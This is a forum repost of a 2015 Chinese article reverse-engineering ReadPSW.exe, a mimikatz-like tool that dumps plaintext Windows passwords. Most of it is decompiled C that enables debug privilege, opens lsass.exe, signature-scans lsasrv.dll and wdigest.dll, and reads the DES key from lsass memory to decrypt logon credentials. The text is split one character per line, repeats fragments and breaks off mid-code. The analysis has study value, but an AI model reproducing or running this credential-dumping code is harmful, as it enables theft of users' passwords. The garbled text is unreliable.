论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
逆向
[8565] 2015-01-07_对windows密码抓取神器mimikatz的逆向分析
文档创建者:
s7ckTeam
浏览次数:
7
最后更新:
2025-01-17
逆向
7 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2015-01-07_对windows密码抓取神器mimikatz的逆向分析
对
w
i
n
d
o
w
s
密
码
抓
取
神
器
m
i
m
i
k
a
t
z
的
逆
向
分
析
F
r
e
e
B
u
f
2
0
1
5
-
0
1
-
0
7
m
i
m
i
k
a
t
z
可
谓
获
取
可
谓
获
取
w
i
n
d
o
w
s
明
文
密
码
神
器
,
新
版
本
更
是
加
上
了
明
文
密
码
神
器
,
新
版
本
更
是
加
上
了
6
4
位
支
持
。
用
过
一
个
小
型
获
取
明
文
密
码
程
序
,
只
有
一
个
可
执
行
文
件
位
支
持
。
用
过
一
个
小
型
获
取
明
文
密
码
程
序
,
只
有
一
个
可
执
行
文
件
R
e
a
d
P
S
W
.
e
x
e
,
通
过
逆
向
写
出
了
源
代
码
,
稍
微
改
改
可
能
也
可
以
,
通
过
逆
向
写
出
了
源
代
码
,
稍
微
改
改
可
能
也
可
以
支
持
支
持
6
4
位
。
分
享
一
下
逆
向
过
程
和
工
作
原
理
。
位
。
分
享
一
下
逆
向
过
程
和
工
作
原
理
。
F
r
e
e
B
u
f
科
普
:
了
解
科
普
:
了
解
m
i
m
i
k
a
t
z
只
要
借
用
一
下
电
脑
,
便
可
轻
松
拿
到
密
码
…
…
“
女
神
,
借
用
电
脑
一
看
可
否
?
”
大
神
们
都
知
道
的
东
西
吧
,
渗
透
测
试
常
用
工
具
。
法
国
一
个
牛
B
的
人
写
的
轻
量
级
调
试
器
,
可
以
帮
助
安
全
测
试
人
员
抓
取
W
i
n
d
o
w
s
密
码
。
m
i
m
i
k
a
t
z
最
近
发
布
了
它
的
2
.
0
版
本
,
抓
密
码
命
令
更
加
简
单
了
,
估
计
作
者
也
看
到
了
对
它
这
个
神
器
最
多
的
研
究
就
是
直
接
抓
密
码
,
为
神
马
不
发
布
一
个
直
接
一
键
版
,
哈
哈
哈
哈
哈
。
新
功
能
还
包
括
能
够
通
过
获
取
的
k
e
r
b
e
r
o
s
登
录
凭
据
,
绕
过
支
持
R
e
s
t
r
i
c
t
e
d
A
d
m
i
n
模
式
的
w
i
n
8
或
w
i
n
2
0
1
2
s
v
r
的
远
程
终
端
(
R
D
P
)
的
登
陆
认
证
。
建
议
默
认
禁
止
R
e
s
t
r
i
c
t
e
d
A
d
m
i
n
模
式
登
录
。
更
多
内
容
点
我
逆
向
过
程
逆
向
过
程
我
喜
欢
先
用
I
D
A
看
大
致
流
程
,
遇
到
难
以
静
态
看
出
来
的
函
数
再
用
O
D
或
者
w
i
n
d
b
g
。
I
D
A
F
5
m
a
i
n
函
数
,
一
段
一
段
的
看
。
i
n
t
_
_
c
d
e
c
l
m
a
i
n
_
0
(
)
{
i
n
t
h
d
l
l
;
/
/
e
a
x
@
1
5
H
M
O
D
U
L
E
M
o
d
u
l
e
S
e
c
u
r
3
2
;
/
/
e
a
x
@
1
5
i
n
t
L
s
a
E
n
u
m
e
r
a
t
e
L
o
g
o
n
S
e
s
s
i
o
n
s
;
/
/
e
a
x
@
1
5
i
n
t
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
;
/
/
e
a
x
@
1
5
i
n
t
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
;
/
/
e
a
x
@
1
5
i
n
t
b
c
r
y
p
t
;
/
/
e
a
x
@
2
7
i
n
t
h
b
c
r
y
p
t
;
/
/
e
a
x
@
2
7
i
n
t
b
c
r
y
p
t
p
r
i
m
i
t
i
v
e
s
;
/
/
e
a
x
@
2
7
i
n
t
h
b
c
r
y
p
t
p
r
i
m
i
t
i
v
e
s
;
/
/
e
a
x
@
2
7
i
n
t
s
t
a
t
u
s
7
;
/
/
e
a
x
@
2
7
c
o
n
s
t
v
o
i
d
*
B
a
s
e
;
/
/
[
s
p
+
7
C
h
]
[
b
p
-
2
E
0
h
]
@
2
5
S
I
Z
E
_
T
n
S
i
z
e
;
/
/
[
s
p
+
8
0
h
]
[
b
p
-
2
D
C
h
]
@
2
5
i
n
t
p
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
;
/
/
[
s
p
+
8
8
h
]
[
b
p
-
2
D
4
h
]
@
1
5
i
n
t
p
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
;
/
/
[
s
p
+
8
C
h
]
[
b
p
-
2
D
0
h
]
@
1
5
i
n
t
p
L
s
a
E
n
u
m
e
r
a
t
e
L
o
g
o
n
S
e
s
s
i
o
n
s
;
/
/
[
s
p
+
9
0
h
]
[
b
p
-
2
C
C
h
]
@
1
5
H
M
O
D
U
L
E
S
e
c
u
r
3
2
;
/
/
[
s
p
+
9
4
h
]
[
b
p
-
2
C
8
h
]
@
1
5
L
P
C
V
O
I
D
l
_
L
o
g
S
e
s
s
L
i
s
t
;
/
/
[
s
p
+
9
8
h
]
[
b
p
-
2
C
4
h
]
@
1
5
i
n
t
L
s
a
U
n
p
r
o
t
e
c
t
M
e
m
o
r
y
;
/
/
[
s
p
+
9
C
h
]
[
b
p
-
2
C
0
h
]
@
1
5
s
t
r
u
c
t
_
O
S
V
E
R
S
I
O
N
I
N
F
O
A
V
e
r
s
i
o
n
I
n
f
o
r
m
a
t
i
o
n
;
/
/
[
s
p
+
A
8
h
]
[
b
p
-
2
B
4
h
]
@
5
H
A
N
D
L
E
L
s
a
s
s
;
/
/
[
s
p
+
1
3
C
h
]
[
b
p
-
2
2
0
h
]
@
3
L
P
C
V
O
I
D
L
i
s
t
[
1
2
8
]
;
/
/
[
s
p
+
1
4
0
h
]
[
b
p
-
2
1
C
h
]
@
1
8
L
P
C
V
O
I
D
*
F
i
r
s
t
;
/
/
[
s
p
+
3
4
0
h
]
[
b
p
-
1
C
h
]
@
2
0
i
n
t
L
o
g
o
n
S
e
s
s
i
o
n
N
o
w
;
/
/
[
s
p
+
3
4
4
h
]
[
b
p
-
1
8
h
]
@
1
8
i
n
t
L
i
s
t
E
n
t
r
y
;
/
/
[
s
p
+
3
4
8
h
]
[
b
p
-
1
4
h
]
@
1
5
S
I
Z
E
_
T
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
;
/
/
[
s
p
+
3
4
C
h
]
[
b
p
-
1
0
h
]
@
1
8
i
n
t
h
D
l
l
L
s
a
s
r
v
;
/
/
[
s
p
+
3
5
8
h
]
[
b
p
-
4
h
]
@
1
5
变
量
名
大
多
是
修
改
过
的
,
通
过
分
析
子
函
数
的
功
能
做
相
应
的
改
变
,
看
起
来
方
便
一
些
。
m
e
m
s
e
t
(
&
t
t
,
-
8
5
8
9
9
3
4
6
0
,
0
x
3
2
0
u
)
;
i
f
(
E
n
a
b
l
e
D
e
b
u
g
P
r
i
v
i
l
e
g
e
(
)
!
=
1
)
p
r
i
n
t
f
(
"
E
n
a
b
l
e
D
e
b
u
g
P
r
i
v
i
l
e
g
e
f
a
i
l
!
"
)
;
首
先
提
权
,
首
先
提
权
,
比
较
简
单
:
p
T
o
k
e
n
=
&
T
o
k
e
n
H
a
n
d
l
e
;
d
w
A
c
c
e
s
s
=
T
O
K
E
N
_
A
L
L
_
A
C
C
E
S
S
;
P
r
o
c
e
s
s
H
a
n
d
l
e
=
G
e
t
C
u
r
r
e
n
t
P
r
o
c
e
s
s
(
)
;
r
e
t
P
r
o
c
e
s
s
H
a
n
d
l
e
=
_
c
h
k
e
s
p
(
&
d
w
A
c
c
e
s
s
=
=
&
d
w
A
c
c
e
s
s
,
P
r
o
c
e
s
s
H
a
n
d
l
e
,
&
d
w
A
c
c
e
s
s
)
;
s
t
a
t
u
s
=
O
p
e
n
P
r
o
c
e
s
s
T
o
k
e
n
(
r
e
t
P
r
o
c
e
s
s
H
a
n
d
l
e
,
d
w
A
c
c
e
s
s
,
p
T
o
k
e
n
)
;
s
t
a
t
u
s
1
=
L
o
o
k
u
p
P
r
i
v
i
l
e
g
e
V
a
l
u
e
A
(
0
,
"
S
e
D
e
b
u
g
P
r
i
v
i
l
e
g
e
"
,
&
L
u
i
d
)
;
N
e
w
S
t
a
t
e
.
P
r
i
v
i
l
e
g
e
C
o
u
n
t
=
1
;
N
e
w
S
t
a
t
e
.
P
r
i
v
i
l
e
g
e
s
[
0
]
.
L
u
i
d
.
L
o
w
P
a
r
t
=
L
u
i
d
.
L
o
w
P
a
r
t
;
N
e
w
S
t
a
t
e
.
P
r
i
v
i
l
e
g
e
s
[
0
]
.
L
u
i
d
.
H
i
g
h
P
a
r
t
=
L
u
i
d
.
H
i
g
h
P
a
r
t
;
N
e
w
S
t
a
t
e
.
P
r
i
v
i
l
e
g
e
s
[
0
]
.
A
t
t
r
i
b
u
t
e
s
=
2
;
s
t
a
t
u
s
2
=
A
d
j
u
s
t
T
o
k
e
n
P
r
i
v
i
l
e
g
e
s
(
T
o
k
e
n
H
a
n
d
l
e
,
0
,
&
N
e
w
S
t
a
t
e
,
0
x
1
0
u
,
0
,
0
)
;
接
着
接
着
m
a
i
n
函
数
流
程
:
函
数
流
程
:
L
s
a
s
s
=
G
e
t
P
r
o
c
e
s
s
H
a
n
d
l
e
(
"
l
s
a
s
s
.
e
x
e
"
)
;
i
f
(
L
s
a
s
s
)
{
o
f
f
s
e
t
_
o
n
e
=
0
;
o
f
f
s
e
t
_
t
w
o
=
-
1
;
m
e
m
s
e
t
(
&
V
e
r
s
i
o
n
I
n
f
o
r
m
a
t
i
o
n
,
0
,
0
x
9
4
u
)
;
V
e
r
s
i
o
n
I
n
f
o
r
m
a
t
i
o
n
.
d
w
O
S
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
=
1
4
8
;
s
t
a
t
u
s
=
G
e
t
V
e
r
s
i
o
n
E
x
A
(
&
V
e
r
s
i
o
n
I
n
f
o
r
m
a
t
i
o
n
)
;
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
s
t
a
t
u
s
,
&
v
4
8
)
;
i
f
(
V
e
r
s
i
o
n
I
n
f
o
r
m
a
t
i
o
n
.
d
w
M
a
j
o
r
V
e
r
s
i
o
n
=
=
5
)
{
i
f
(
V
e
r
s
i
o
n
I
n
f
o
r
m
a
t
i
o
n
.
d
w
M
i
n
o
r
V
e
r
s
i
o
n
=
=
1
)
{
o
f
f
s
e
t
_
o
n
e
=
3
6
;
o
f
f
s
e
t
_
t
w
o
=
2
;
}
e
l
s
e
{
i
f
(
V
e
r
s
i
o
n
I
n
f
o
r
m
a
t
i
o
n
.
d
w
M
i
n
o
r
V
e
r
s
i
o
n
=
=
2
)
{
o
f
f
s
e
t
_
o
n
e
=
2
8
;
o
f
f
s
e
t
_
t
w
o
=
4
;
}
}
}
e
l
s
e
{
i
f
(
V
e
r
s
i
o
n
I
n
f
o
r
m
a
t
i
o
n
.
d
w
M
a
j
o
r
V
e
r
s
i
o
n
=
=
6
)
{
o
f
f
s
e
t
_
o
n
e
=
3
2
;
o
f
f
s
e
t
_
t
w
o
=
1
;
}
}
i
f
(
o
f
f
s
e
t
_
t
w
o
=
=
-
1
)
{
s
t
a
t
u
s
1
2
=
C
l
o
s
e
H
a
n
d
l
e
(
L
s
a
s
s
)
;
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
s
t
a
t
u
s
1
2
,
&
v
4
8
)
;
r
e
t
u
r
n
e
d
=
0
;
}
上
面
工
作
主
要
是
:
获
取
l
s
a
s
s
.
e
x
e
进
程
句
柄
、
根
据
不
同
版
本
赋
值
两
个
偏
移
量
。
可
以
看
出
支
持
x
p
和
2
0
0
3
,
之
后
版
本
v
i
s
t
a
、
w
i
n
7
等
使
用
同
一
偏
移
量
。
e
l
s
e
{
h
d
l
l
=
L
o
a
d
L
i
b
r
a
r
y
A
(
"
l
s
a
s
r
v
.
d
l
l
"
)
;
h
D
l
l
L
s
a
s
r
v
=
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
h
d
l
l
,
&
v
4
8
)
;
L
s
a
U
n
p
r
o
t
e
c
t
M
e
m
o
r
y
=
G
e
t
F
u
n
c
t
i
o
n
A
d
d
r
(
h
D
l
l
L
s
a
s
r
v
,
0
x
7
F
F
F
D
D
D
D
u
,
d
b
_
8
b
_
f
f
,
1
4
u
)
;
这
个
G
e
t
F
u
n
c
t
i
o
n
A
d
d
r
是
我
重
命
名
的
,
跟
进
去
看
一
下
实
现
就
知
道
了
:
i
n
t
_
_
c
d
e
c
l
G
e
t
F
u
n
c
t
i
o
n
A
d
d
r
(
i
n
t
M
o
d
u
l
e
,
u
n
s
i
g
n
e
d
i
n
t
L
i
m
i
t
,
i
n
t
S
y
m
b
o
l
,
u
n
s
i
g
n
e
d
i
n
t
L
e
n
g
t
h
)
{
r
e
t
u
r
n
R
e
a
l
G
e
t
F
u
n
c
t
i
o
n
A
d
d
r
(
M
o
d
u
l
e
,
L
i
m
i
t
,
S
y
m
b
o
l
,
L
e
n
g
t
h
)
;
}
是
一
个
跳
转
,
接
着
跟
进
:
i
n
t
_
_
c
d
e
c
l
R
e
a
l
G
e
t
F
u
n
c
t
i
o
n
A
d
d
r
(
i
n
t
M
o
d
u
l
e
,
u
n
s
i
g
n
e
d
i
n
t
L
i
m
i
t
,
i
n
t
S
y
m
b
o
l
,
u
n
s
i
g
n
e
d
i
n
t
L
e
n
g
t
h
)
{
w
h
i
l
e
(
L
e
n
g
t
h
+
M
o
d
u
l
e
<
=
L
i
m
i
t
)
{
l
a
b
e
l
=
S
y
m
b
o
l
;
f
o
r
(
i
=
0
;
i
<
L
e
n
g
t
h
&
&
*
M
o
d
u
l
e
=
=
*
l
a
b
e
l
;
+
+
i
)
{
+
+
M
o
d
u
l
e
;
+
+
l
a
b
e
l
;
}
i
f
(
i
=
=
L
e
n
g
t
h
)
b
r
e
a
k
;
M
o
d
u
l
e
=
M
o
d
u
l
e
-
i
+
1
;
}
r
e
t
u
r
n
r
e
s
u
l
t
;
}
是
用
特
征
码
查
找
函
数
地
址
的
,
想
知
道
是
什
么
函
数
最
好
用
w
i
n
d
b
g
跟
一
下
,
发
现
找
到
了
l
s
a
s
r
v
.
d
l
l
的
L
s
a
U
n
p
r
o
t
e
c
t
M
e
m
o
r
y
函
数
,
这
里
我
也
对
变
量
名
进
行
了
重
命
名
。
该
函
数
用
于
解
密
L
s
a
P
r
o
t
e
c
t
M
e
m
o
r
y
加
密
内
存
,
这
两
个
函
数
在
L
S
A
中
用
得
非
常
多
。
l
_
L
o
g
S
e
s
s
L
i
s
t
=
G
e
t
W
d
i
g
e
s
t
l
_
L
o
g
S
e
s
s
L
i
s
t
(
)
;
D
e
s
K
e
y
(
L
s
a
s
s
,
h
D
l
l
L
s
a
s
r
v
,
o
f
f
s
e
t
_
t
w
o
)
;
这
两
个
函
数
挺
关
键
,
需
要
结
合
O
D
动
态
调
试
,
先
看
第
一
个
,
中
间
有
个
类
似
上
面
的
跳
转
,
直
接
看
实
现
函
数
:
u
n
s
i
g
n
e
d
i
n
t
_
_
c
d
e
c
l
R
e
a
l
G
e
t
F
u
n
c
t
i
o
n
(
)
{
H
M
O
D
U
L
E
h
M
o
d
u
l
e
;
/
/
e
a
x
@
1
u
n
s
i
g
n
e
d
i
n
t
m
o
d
u
l
e
B
a
s
e
;
/
/
[
s
p
+
4
C
h
]
[
b
p
-
1
0
h
]
@
1
u
n
s
i
g
n
e
d
i
n
t
r
e
t
u
r
n
e
d
;
/
/
[
s
p
+
5
0
h
]
[
b
p
-
C
h
]
@
1
i
n
t
S
p
I
n
s
t
a
n
c
e
I
n
i
t
;
/
/
[
s
p
+
5
4
h
]
[
b
p
-
8
h
]
@
1
H
M
O
D
U
L
E
h
L
i
b
M
o
d
u
l
e
;
/
/
[
s
p
+
5
8
h
]
[
b
p
-
4
h
]
@
1
m
e
m
s
e
t
(
&
v
6
,
-
8
5
8
9
9
3
4
6
0
,
0
x
5
0
u
)
;
t
1
=
L
o
a
d
L
i
b
r
a
r
y
A
(
"
w
d
i
g
e
s
t
.
d
l
l
"
)
;
h
M
o
d
u
l
e
=
_
c
h
k
e
s
p
(
&
v
5
=
=
&
v
5
,
t
1
,
&
v
1
1
)
;
h
L
i
b
M
o
d
u
l
e
=
h
M
o
d
u
l
e
;
v
2
=
G
e
t
P
r
o
c
A
d
d
r
e
s
s
(
h
M
o
d
u
l
e
,
"
S
p
I
n
s
t
a
n
c
e
I
n
i
t
"
)
;
S
p
I
n
s
t
a
n
c
e
I
n
i
t
=
_
c
h
k
e
s
p
(
&
v
5
=
=
&
v
5
,
v
2
,
&
v
1
1
)
;
m
o
d
u
l
e
B
a
s
e
=
h
L
i
b
M
o
d
u
l
e
;
r
e
t
u
r
n
e
d
=
0
;
w
h
i
l
e
(
m
o
d
u
l
e
B
a
s
e
<
S
p
I
n
s
t
a
n
c
e
I
n
i
t
&
&
m
o
d
u
l
e
B
a
s
e
)
{
r
e
t
u
r
n
e
d
=
m
o
d
u
l
e
B
a
s
e
;
m
o
d
u
l
e
B
a
s
e
=
G
e
t
F
u
n
c
t
i
o
n
A
d
d
r
(
m
o
d
u
l
e
B
a
s
e
+
8
,
S
p
I
n
s
t
a
n
c
e
I
n
i
t
,
d
b
_
8
b
_
4
5
,
8
u
)
;
}
r
e
t
u
r
n
e
d
=
*
(
r
e
t
u
r
n
e
d
-
4
)
;
s
t
a
t
u
s
=
F
r
e
e
L
i
b
r
a
r
y
(
h
L
i
b
M
o
d
u
l
e
)
;
_
c
h
k
e
s
p
(
&
v
5
=
=
&
v
5
,
s
t
a
t
u
s
,
&
v
1
1
)
;
r
e
t
u
r
n
r
e
t
u
r
n
e
d
;
}
首
先
加
载
首
先
加
载
w
d
i
g
e
s
t
.
d
l
l
模
块
,
模
块
,
这
里
这
里
有
详
细
的
介
绍
。
然
后
获
取
有
详
细
的
介
绍
。
然
后
获
取
S
p
I
n
s
t
a
n
c
e
I
n
i
t
的
地
址
,
接
着
是
一
个
查
找
函
数
的
循
环
,
根
据
特
征
码
在
的
地
址
,
接
着
是
一
个
查
找
函
数
的
循
环
,
根
据
特
征
码
在
S
p
I
n
s
t
a
n
c
e
I
n
i
t
地
址
低
位
查
找
某
个
地
址
,
使
用
地
址
低
位
查
找
某
个
地
址
,
使
用
w
i
n
d
b
g
可
以
看
到
要
找
的
可
以
看
到
要
找
的
东
西
:
东
西
:
0
:
0
0
0
>
l
n
e
a
x
(
7
4
2
e
c
2
9
c
)
<
U
n
l
o
a
d
e
d
_
w
d
i
g
e
s
t
.
d
l
l
>
+
0
x
c
2
9
c
这
并
不
是
一
个
函
数
,
具
体
的
作
用
现
在
还
不
知
道
。
后
面
会
用
到
。
看
下
面
的
函
数
,
这
个
函
数
实
际
上
是
用
来
产
生
D
E
S
的
密
钥
:
c
o
n
s
t
v
o
i
d
*
_
_
c
d
e
c
l
m
a
k
e
_
D
E
S
K
e
y
(
H
A
N
D
L
E
h
P
r
o
c
e
s
s
L
s
a
s
s
,
i
n
t
h
D
l
l
L
s
a
s
r
v
,
i
n
t
o
f
f
s
e
t
)
{
i
n
t
s
t
a
t
u
s
;
/
/
e
a
x
@
1
c
o
n
s
t
v
o
i
d
*
d
w
R
e
s
u
l
t
;
/
/
e
a
x
@
1
i
n
t
K
e
y
;
/
/
e
a
x
@
4
c
h
a
r
b
u
f
f
e
r
;
/
/
[
s
p
+
C
h
]
[
b
p
-
6
8
h
]
@
1
i
n
t
O
S
V
e
r
s
i
o
n
;
/
/
[
s
p
+
4
C
h
]
[
b
p
-
2
8
h
]
@
1
u
n
s
i
g
n
e
d
i
n
t
H
e
a
p
R
e
v
e
r
s
e
;
/
/
[
s
p
+
5
0
h
]
[
b
p
-
2
4
h
]
@
1
c
o
n
s
t
v
o
i
d
*
B
u
f
f
e
r
;
/
/
[
s
p
+
5
4
h
]
[
b
p
-
2
0
h
]
@
4
L
P
C
V
O
I
D
g
_
p
D
E
S
X
K
e
y
;
/
/
[
s
p
+
5
8
h
]
[
b
p
-
1
C
h
]
@
4
L
P
C
V
O
I
D
l
p
B
u
f
f
e
r
;
/
/
[
s
p
+
5
C
h
]
[
b
p
-
1
8
h
]
@
1
S
I
Z
E
_
T
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
;
/
/
[
s
p
+
6
0
h
]
[
b
p
-
1
4
h
]
@
1
S
I
Z
E
_
T
n
S
i
z
e
;
/
/
[
s
p
+
6
4
h
]
[
b
p
-
1
0
h
]
@
1
i
n
t
p
I
m
a
g
e
N
t
H
e
a
d
e
r
s
;
/
/
[
s
p
+
6
8
h
]
[
b
p
-
C
h
]
@
1
i
n
t
h
T
m
p
D
l
l
L
s
a
s
r
v
;
/
/
[
s
p
+
6
C
h
]
[
b
p
-
8
h
]
@
1
i
n
t
D
a
t
a
S
E
C
T
I
O
N
;
/
/
[
s
p
+
7
0
h
]
[
b
p
-
4
h
]
@
1
i
n
t
v
2
7
;
/
/
[
s
p
+
7
4
h
]
[
b
p
+
0
h
]
@
1
m
e
m
s
e
t
(
&
b
u
f
f
e
r
,
-
8
5
8
9
9
3
4
6
0
,
0
x
6
8
u
)
;
h
T
m
p
D
l
l
L
s
a
s
r
v
=
h
D
l
l
L
s
a
s
r
v
;
D
a
t
a
S
E
C
T
I
O
N
=
*
(
h
D
l
l
L
s
a
s
r
v
+
6
0
)
+
h
D
l
l
L
s
a
s
r
v
+
2
8
8
;
l
p
B
u
f
f
e
r
=
(
h
D
l
l
L
s
a
s
r
v
+
*
(
D
a
t
a
S
E
C
T
I
O
N
+
1
2
)
)
;
/
/
获
取
l
s
a
s
r
v
.
d
l
l
的
数
据
区
n
S
i
z
e
=
(
(
*
(
D
a
t
a
S
E
C
T
I
O
N
+
8
)
>
>
1
2
)
+
1
)
<
<
1
2
;
/
/
数
据
区
大
小
s
t
a
t
u
s
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
h
P
r
o
c
e
s
s
L
s
a
s
s
,
l
p
B
u
f
f
e
r
,
l
p
B
u
f
f
e
r
,
n
S
i
z
e
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
/
/
读
取
数
据
区
内
容
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
s
t
a
t
u
s
,
&
v
2
7
)
;
p
I
m
a
g
e
N
t
H
e
a
d
e
r
s
=
h
D
l
l
L
s
a
s
r
v
+
*
(
h
T
m
p
D
l
l
L
s
a
s
r
v
+
6
0
)
;
H
e
a
p
R
e
v
e
r
s
e
=
h
D
l
l
L
s
a
s
r
v
+
*
(
p
I
m
a
g
e
N
t
H
e
a
d
e
r
s
+
8
0
)
;
d
w
R
e
s
u
l
t
=
o
f
f
s
e
t
;
O
S
V
e
r
s
i
o
n
=
o
f
f
s
e
t
;
i
f
(
o
f
f
s
e
t
=
=
1
)
{
v
8
=
L
o
a
d
L
i
b
r
a
r
y
A
(
"
b
c
r
y
p
t
.
d
l
l
"
)
;
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
v
8
,
&
v
2
7
)
;
v
9
=
L
o
a
d
L
i
b
r
a
r
y
A
(
"
b
c
r
y
p
t
p
r
i
m
i
t
i
v
e
s
.
d
l
l
"
)
;
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
v
9
,
&
v
2
7
)
;
v
1
0
=
G
e
t
F
u
n
c
t
i
o
n
A
d
d
r
(
h
D
l
l
L
s
a
s
r
v
,
H
e
a
p
R
e
v
e
r
s
e
,
"
3
仪
E
鑌
b
"
,
0
x
C
u
)
;
/
/
根
据
特
征
码
查
找
存
放
D
E
S
_
K
E
Y
的
地
址
g
_
p
D
E
S
X
K
e
y
=
v
1
0
;
g
_
p
D
E
S
X
K
e
y
=
*
(
v
1
0
-
1
)
;
v
1
1
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
h
P
r
o
c
e
s
s
L
s
a
s
s
,
g
_
p
D
E
S
X
K
e
y
,
&
B
u
f
f
e
r
,
4
u
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
v
1
1
,
&
v
2
7
)
;
v
1
2
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
h
P
r
o
c
e
s
s
L
s
a
s
s
,
B
u
f
f
e
r
,
&
t
_
K
e
y
,
0
x
2
0
0
u
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
/
/
通
过
两
次
内
存
查
找
找
到
K
E
Y
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
v
1
2
,
&
v
2
7
)
;
l
p
B
u
f
f
e
r
=
g
_
p
D
E
S
X
K
e
y
;
*
g
_
p
D
E
S
X
K
e
y
=
&
t
_
K
e
y
;
v
1
3
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
h
P
r
o
c
e
s
s
L
s
a
s
s
,
l
p
B
a
s
e
A
d
d
r
e
s
s
,
&
u
n
k
_
4
2
B
F
B
8
,
0
x
2
0
0
u
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
v
1
3
,
&
v
2
7
)
;
l
p
B
u
f
f
e
r
=
&
l
p
B
a
s
e
A
d
d
r
e
s
s
;
l
p
B
a
s
e
A
d
d
r
e
s
s
=
&
u
n
k
_
4
2
B
F
B
8
;
v
1
4
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
h
P
r
o
c
e
s
s
L
s
a
s
s
,
d
w
o
r
d
_
4
2
A
F
C
4
,
&
u
n
k
_
4
2
A
D
B
8
,
0
x
2
0
0
u
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
d
w
R
e
s
u
l
t
=
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
v
1
4
,
&
v
2
7
)
;
d
w
o
r
d
_
4
2
A
F
C
4
=
&
u
n
k
_
4
2
A
D
B
8
;
}
e
l
s
e
{
i
f
(
O
S
V
e
r
s
i
o
n
=
=
2
|
|
O
S
V
e
r
s
i
o
n
=
=
4
)
{
K
e
y
=
G
e
t
F
u
n
c
t
i
o
n
A
d
d
r
(
h
D
l
l
L
s
a
s
r
v
,
H
e
a
p
R
e
v
e
r
s
e
,
K
e
y
_
S
y
m
b
o
l
,
0
x
C
u
)
;
g
_
p
D
E
S
X
K
e
y
=
K
e
y
;
g
_
p
D
E
S
X
K
e
y
=
*
(
K
e
y
+
1
2
)
;
v
6
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
h
P
r
o
c
e
s
s
L
s
a
s
s
,
g
_
p
D
E
S
X
K
e
y
,
&
B
u
f
f
e
r
,
4
u
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
v
6
,
&
v
2
7
)
;
v
7
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
h
P
r
o
c
e
s
s
L
s
a
s
s
,
B
u
f
f
e
r
,
&
t
_
K
e
y
,
0
x
2
0
0
u
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
_
c
h
k
e
s
p
(
&
v
1
5
=
=
&
v
1
5
,
v
7
,
&
v
2
7
)
;
d
w
R
e
s
u
l
t
=
g
_
p
D
E
S
X
K
e
y
;
l
p
B
u
f
f
e
r
=
g
_
p
D
E
S
X
K
e
y
;
*
g
_
p
D
E
S
X
K
e
y
=
&
t
_
K
e
y
;
}
}
r
e
t
u
r
n
d
w
R
e
s
u
l
t
;
}
根
据
最
初
得
到
的
偏
移
,
读
取
进
程
地
址
空
间
,
获
取
D
E
S
的
密
钥
。
了
解
了
这
两
个
函
数
内
容
接
着
回
归
m
a
i
n
函
数
:
s
t
a
t
u
s
1
3
=
L
o
a
d
L
i
b
r
a
r
y
A
(
"
S
e
c
u
r
3
2
.
d
l
l
"
)
;
M
o
d
u
l
e
S
e
c
u
r
3
2
=
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
s
t
a
t
u
s
1
3
,
&
v
4
8
)
;
S
e
c
u
r
3
2
=
M
o
d
u
l
e
S
e
c
u
r
3
2
;
L
s
a
E
n
u
m
e
r
a
t
e
L
o
g
o
n
S
e
s
s
i
o
n
s
=
G
e
t
P
r
o
c
A
d
d
r
e
s
s
(
M
o
d
u
l
e
S
e
c
u
r
3
2
,
"
L
s
a
E
n
u
m
e
r
a
t
e
L
o
g
o
n
S
e
s
s
i
o
n
s
"
)
;
p
L
s
a
E
n
u
m
e
r
a
t
e
L
o
g
o
n
S
e
s
s
i
o
n
s
=
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
L
s
a
E
n
u
m
e
r
a
t
e
L
o
g
o
n
S
e
s
s
i
o
n
s
,
&
v
4
8
)
;
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
=
G
e
t
P
r
o
c
A
d
d
r
e
s
s
(
S
e
c
u
r
3
2
,
"
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
"
)
;
p
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
=
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
L
